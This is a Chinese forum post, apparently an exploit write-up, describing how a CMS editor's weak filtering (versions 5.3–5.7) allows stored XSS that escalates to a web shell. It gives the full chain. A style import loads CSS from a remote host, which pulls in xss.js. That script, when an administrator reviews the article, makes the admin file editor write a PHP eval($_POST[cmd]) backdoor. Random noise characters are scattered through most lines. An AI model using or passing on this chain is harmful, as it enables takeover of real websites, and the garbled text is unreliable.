<DIV id=read_tpc mb10?>漏洞原因:由于编辑器过滤不严,将导致恶意脚本运行。可getshell1 ]- {5 X c) t& W" Y9 p5 S
为什么说它是ODay呢,能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)
; o# U9 I6 ], C- ~7 z! t1 f2 \9 ] o目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。; D$ ^5 O' V0 H% n& Y3 }
下面说说利用方法。' V+ d$ Z# N1 v+ c; g
条件有2个:
2 W2 M2 M" E+ A2 }1 D! i! ]+ t1.开启注册
' G* q2 n1 p$ S$ L& A5 M0 |2.开启投稿- `; T" `/ w v- ~7 \
注册会员----发表文章9 v3 Z9 F* h) M2 V2 g0 ]# ?0 f( M+ q0 g
内容填写:$ O6 i$ g3 ^' C4 K) |
复制代码) H' n% e1 K3 ^% [7 p
<style>@im\port'\http://xxx.com/xss.css';</style>
. l, ]4 ]1 E. ]新建XSS.Css& n8 p7 A" R: d) q3 s4 y" ]# K
复制代码
( j$ a4 b4 E! g" N, l" S {.body{$ K& L% t) k/ T& U
background-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }
8 A a' ^4 U b! c新建xss.js 内容为
# W- X4 e" R6 A, v" ?复制代码! B+ S& @$ D, e
1.var request = false;7 E( |/ t$ s' G7 ]3 Y
2.if(window.XMLHttpRequest) {
6 n* A: z6 ~: t0 J3.request = new XMLHttpRequest();" Y9 `; o# w5 d: |& b! { c. n
4.if(request.overrideMimeType) {
# v& X, ]( j* O5.request.overrideMimeType('text/xml');
: g3 b- j: E! [3 ~" q$ p2 ^6.}
( l/ V, M, i f5 Y. z I7.} else if(window.ActiveXObject) {) T$ Z7 m4 Z1 Z9 h# A {
8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
, |; f- @, V9 J6 G9 T3 e2 Q9.for(var i=0; i<versions.length; i++) {, V" ?/ t2 W* b$ [
10.try { a2 D! C6 f* {- O3 g6 p G
11.request = new ActiveXObject(versions);- t" K9 h6 h; H. G7 g- M) j6 j
12.} catch(e) {}: P$ d; ^ ^, l8 J/ E
13.}- s0 J$ s+ V' h5 B
14.}
" r7 T) U' @/ [! \, n15.xmlhttp=request;: U1 j; }0 @! q" L0 R3 \
16.function getFolder( url ){
5 s7 d- a2 V( N# p9 `2 k17. obj = url.split('/')
# g- i0 x3 w1 J1 D u18. return obj[obj.length-2]
0 I* N$ F O$ Z# z19.}
0 f" f# V) z) C" y/ Q20.oUrl = top.location.href;
3 ^/ k% v6 k, C8 N6 N( ~" g& _/ b21.u = getFolder(oUrl);! G- E! C: X' ?/ v" H8 f
22.add_admin();
; J8 H Y. Z+ ^" E23.function add_admin(){8 e c# c& ?; r& F$ N
24.var url= "/"+u+"/sys_sql_query.php";
, c5 M5 U; m1 A, W/ @# P25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++"; D& X8 ^2 t# |- ~% f: o
26.xmlhttp.open("POST", url, true);' o" a( h i) Y) s: ~& E8 A( N
27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");5 K6 a( n8 O/ \8 o Z
28.xmlhttp.setRequestHeader("Content-length", params.length);$ D" U! ~# n# _- Q; b0 Z
29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");/ v' F4 Y' N2 |
30.xmlhttp.send(params);
, s/ U! Y$ |. e1 p8 a/ [3 h31.}
' J z7 D5 X( V' ?. n2 v当管理员审核这篇文章的时候,将自动在data目录生成一句话haris.php。密码cmd |